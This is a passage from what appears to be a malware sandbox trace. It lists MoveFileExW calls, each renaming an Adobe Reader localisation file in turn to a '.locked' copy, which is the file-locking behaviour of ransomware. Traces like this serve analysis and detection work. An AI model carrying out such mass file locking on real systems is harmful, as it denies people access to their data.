(x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PY.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_py.txt.locked"), dwFlags=0x2) returned 1 [0088.860] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_SV.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_sv.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_SV.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_sv.txt.locked"), dwFlags=0x2) returned 1 [0088.890] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_US.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_us.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_US.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_us.txt.locked"), dwFlags=0x2) returned 1 [0088.920] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_UY.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_uy.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_UY.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_uy.txt.locked"), dwFlags=0x2) returned 1 [0088.950] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_VE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ve.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_VE.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ve.txt.locked"), dwFlags=0x2) returned 1 [0088.979] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es__TRADITIONAL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es__traditional.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es__TRADITIONAL.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es__traditional.txt.locked"), dwFlags=0x2) returned 1 [0089.008] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.et.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.et.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.et.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.et.txt.locked"), dwFlags=0x2) returned 1 [0089.038] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.et_EE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.et_ee.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.et_EE.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.et_ee.txt.locked"), dwFlags=0x2) returned 1 [0089.068] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fi.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fi.txt.locked"), dwFlags=0x2) returned 1 [0089.098] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi_FI.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fi_fi.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi_FI.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fi_fi.txt.locked"), dwFlags=0x2) returned 1 [0089.127] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi_FI_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fi_fi_preeuro.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi_FI_PREEURO.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fi_fi_preeuro.txt.locked"), dwFlags=0x2) returned 1 [0089.158] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_CA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fr_ca.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_CA.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fr_ca.txt.locked"), dwFlags=0x2) returned 1 [0089.190] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fr_fr.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fr_fr.txt.locked"), dwFlags=0x2) returned 1 [0089.220] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fr_fr_preeuro.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR_PREEURO.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fr_fr_preeuro.txt.locked"), dwFlags=0x2) returned 1 [0089.248] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.he.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.he.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.he.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.he.txt.locked"), dwFlags=0x2) returned 1 [0089.277] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.he_IL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.he_il.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.he_IL.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.he_il.txt.locked"), dwFlags=0x2) returned 1 [0089.315] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hr.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hr.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hr.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hr.txt.locked"), dwFlags=0x2) returned 1 [0089.345] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hr_HR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hr_hr.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hr_HR.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hr_hr.txt.locked"), dwFlags=0x2) returned 1 [0089.375] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hu.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hu.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hu.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hu.txt.locked"), dwFlags=0x2) returned 1 [0089.405] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hu_HU.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hu_hu.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hu_HU.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hu_hu.txt.locked"), dwFlags=0x2) returned 1 [0089.435] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it.txt.locked"), dwFlags=0x2) returned 1 [0089.465] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_CH.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it_ch.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_CH.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it_ch.txt.locked"), dwFlags=0x2) returned 1 [0089.494] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it_it.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it_it.txt.locked"), dwFlags=0x2) returned 1 [0089.539] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it_it_preeuro.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.it_IT_PREEURO.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.it_it_preeuro.txt.locked"), dwFlags=0x2) returned 1 [0089.566] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ja.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ja.txt.locked"), dwFlags=0x2) returned 1 [0089.596] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ja_jp.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ja_jp.txt.locked"), dwFlags=0x2) returned 1 [0089.624] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP_TRADITIONAL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ja_jp_traditional.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP_TRADITIONAL.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ja_jp_traditional.txt.locked"), dwFlags=0x2) returned 1 [0089.652] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ko.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ko.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ko.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ko.txt.locked"), dwFlags=0x2) returned 1 [0089.679] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ko_KR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ko_kr.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ko_KR.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ko_kr.txt.locked"), dwFlags=0x2) returned 1 [0089.709] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lt.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lt.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lt.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lt.txt.locked"), dwFlags=0x2) returned 1 [0089.738] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lt_LT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lt_lt.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lt_LT.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lt_lt.txt.locked"), dwFlags=0x2) returned 1 [0089.767] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lv.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lv.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lv.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lv.txt.locked"), dwFlags=0x2) returned 1 [0089.796] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lv_LV.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lv_lv.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lv_LV.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lv_lv.txt.locked"), dwFlags=0x2) returned 1 [0089.826] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nb.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nb.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nb.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nb.txt.locked"), dwFlags=0x2) returned 1 [0089.855] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nb_NO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nb_no.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nb_NO.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nb_no.txt.locked"), dwFlags=0x2) returned 1 [0089.885] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl.txt.locked"), dwFlags=0x2) returned 1 [0089.915] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_BE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_be.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_BE.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_be.txt.locked"), dwFlags=0x2) returned 1 [0089.944] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_BE_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_be_preeuro.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_BE_PREEURO.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_be_preeuro.txt.locked"), dwFlags=0x2) returned 1 [0089.974] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_NL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_nl.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_NL.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_nl.txt.locked"), dwFlags=0x2) returned 1 [0090.004] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_NL_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_nl_preeuro.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_NL_PREEURO.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_nl_preeuro.txt.locked"), dwFlags=0x2) returned 1 [0090.034] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nn_NO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nn_no.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nn_NO.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nn_no.txt.locked"), dwFlags=0x2) returned 1 [0090.063] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pl.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pl.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pl.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pl.txt.locked"), dwFlags=0x2) returned 1 [0090.092] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pl_PL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pl_pl.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pl_PL.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pl_pl.txt.locked"), dwFlags=0x2) returned 1 [0090.122] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_BR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_br.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_BR.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_br.txt.locked"), dwFlags=0x2) returned 1 [0090.154] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_pt.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_pt.txt.locked"), dwFlags=0x2) returned 1 [0090.184] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_pt_preeuro.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT_PREEURO.txt.locked" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_pt_preeuro.txt.locked"), dwFlags=0x2) returned 1 [0090.217] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 